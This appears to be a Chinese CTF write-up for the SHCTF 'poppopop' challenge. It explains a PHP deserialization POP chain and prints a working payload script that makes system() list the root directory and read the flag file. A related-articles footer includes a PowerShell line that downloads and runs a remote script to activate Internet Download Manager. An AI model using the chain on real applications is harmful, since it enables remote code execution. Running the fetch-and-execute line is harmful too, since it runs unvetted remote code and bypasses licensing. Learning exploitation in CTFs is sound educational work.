shctf [week1]poppopop

news/2024/10/9 22:37:20/文章来源:https://www.cnblogs.com/c1432/p/18455330

最近刚好在学pop链和反序列化,那就写一篇shctf做题的随笔吧
进来先审计代码;

1.发现反序列化首先会调用__destruct()魔术方法,将$Web赋为true,并echo $n,显然在这里我们得再有一个魔术方法,又因为这里调用的n被当字符串输出,一眼看到__toString(),考虑把$n赋值为new F();
2.F类中$o被当作一个对象调用,由于flag()函数在C类中,考虑把$o赋值为new C();
3.然而此时只剩一个__invoke()没有被调用,而它的调用需要类SHCTF被当成函数调用,刚好C的flag()函数将$p作为函数进行调用,那只要把$p赋值为new SHCTF(),就能解决问题;
4.此时Web为true,会调用函数$isyou并传入参数$flag,那我们找找看,构造payload:

 <?php
class SH {public static $Web = false;public static $SHCTF = false;
}
class C {public $p;public function flag(){($this->p)();}
}
class T{public $n;public function __construct(){SH::$Web = true;echo $this->n;}
}
class F {public $o;public function __toString(){SH::$SHCTF = true;$this->o->flag();return "其实。。。。,";}
}
class SHCTF {public $isyou;public $flag;public function __invoke(){if (SH::$Web) {($this->isyou)($this->flag);echo "小丑竟是我自己呜呜呜~";} else {echo "小丑别看了!";}}
}
$a=new T();
$b=new F();
$c=new C();
$d=new SHCTF();
$a->n=$b;
$d->isyou='system';
$d->flag='ls /';
$b->o=$c;
$c->p=$d;
echo base64_encode(serialize($a));
?>


发现目录flllag;修改$flag的值为'cat /flllag'
即可得到flag:

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.hqwc.cn/news/810810.html

如若内容造成侵权/违法违规/事实不符,请联系编程知识网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

一条命令激活Internet Download Manager

admin • 2023-09-12 上午7:03 • 免费资源, 杂谈 • 阅读 88使用Internet Download Manager可以使用如下命令激活在科学联网情况下,复制这条命令irm https://massgrave.dev/ias | iexWin8.1/Win10/Win11系统下,在windows徽标上单击鼠标右键,在弹出的菜单中选择”windows po…

2024/10/09 模拟赛总结

\(100+40+20+8=168\),拿到了大众分,至少没挂分吧 #A. 矩阵交换 一个 \(m\) 维偏序,可以使用 \(m-1\) 维树状数组解决 以第 \(i\) 作为第 \(i\) 关键字,进行排序,这样一定最优。排完之后直接判断是否满足条件即可 // BLuemoon_ #include <bits/stdc++.h>using namesp…

USB协议详解第12讲(USB传输-初探)

1.USB传输、事务、包的关系 USB传输、事务、包是从不同层次上去说明一次数据交互的三个概念。 举个例子可能更好些,"某领导和一个早起的程序员进行了一次交流,说了5件事"。 OK,其实这里的"这次交流"就相当于USB的一次传输,"说了5件事"就相当…

隧道云 cpolar

Dify+Ollama+llava大模型本地搭建个人AI知识库并实现远程访问 https://www.bilibili.com/video/BV1tu24YyEDh/?spm_id_from=333.337.search-card.all.click&vd_source=57e261300f39bf692de396b55bf8c41bcpolar https://www.cpolar.com/features什么是cpolar?cpolar是一种…

C++类

C++类 类 // public 成员提供类的接口,暴漏给外界,供外界使用 // private:提供各种实现类功能的细节方法,但不暴漏给使用者,外界无法使用 // 注意:struct 是成员默认为 public 的 class、class 成员默认是 private class student{ public:int number;char name[100]; …

SE_Paring_Work2

目录具体分工 PSP表格 解题思路描述与设计实现说明3.1 团队作业功能的实现思路 3.2 关键实现的流程图 3.3 重要/有价值的代码片段附加特点设计与展示4.1 设计的创意独到之处及意义 4.2 实现思路 4.3 重要/有价值的代码片段目录说明和使用说明5.1 目录的组织 5.2 如何运行单元测…

PasteForm最佳CRUD实践,实际案例PasteTemplate详解之3000问(四)

无论100个表还是30个表,在使用PasteForm模式的时候,管理端的页面是一样的,大概4个页面, 利用不同操作模式下的不同dto数据模型,通过后端修改对应的dto可以做到控制前端的UI,在没有特别特殊的需求下可以做到快速的实现CRUD! 免去版本兼容问题,免去前后端不一致的问题,免…

【Azure Entra ID】使用PowerShell脚本导出Entra ID中指定应用下的所有用户信息

问题描述 在Azure Entra ID中,需要导出一个Application 下的用户信息, 包含User的创建时间。 问题解答 可以使用PowerShell 脚本来实现, 只需要执行如下脚本:Connect-AzureAD -AzureEnvironmentName AzureChinaCloud$users = Get-AzureADServiceAppRoleAssignment -ObjectId…

中国移动宽带 IPv6 连接到公网,家庭宽带设置服务器(2024年10月)

摘要: 1、中国移动的宽带,已经支持 IPv6,需要宽带光猫上做好设置。 2、需要从 中国移动 的服务器上获取公网 IPv6 地址。操作: 1、确保宽带WAN连接的前缀获取方式:Prefix Delegation 网关的默认登录用户名(user)、密码,在设备的背面有写着。 如果不是,就联系客服,询问…

实验1 现代C++基础编程

任务1: 源代码task1.cpp1 #include <iostream>2 #include <string>3 #include <vector>4 #include <algorithm>5 6 using namespace std;7 8 // 声明9 // 模板函数声明 10 template<typename T> 11 void output(const T &c); 12 13 // 普通…

深度学习实战人脸表情识别【源码+模型+PyQt5界面】

本研究旨在实现一个基于深度学习的人脸表情识别系统,以准确地识别七种常见的人脸表情:惊讶、恐惧、厌恶、开心、悲伤、愤怒和正常。系统流程包括人脸定位和表情识别两个主要步骤。在人脸定位阶段,采用深度学习算法,通过训练一个卷积神经网络(CNN),实现对图像中人脸位置的…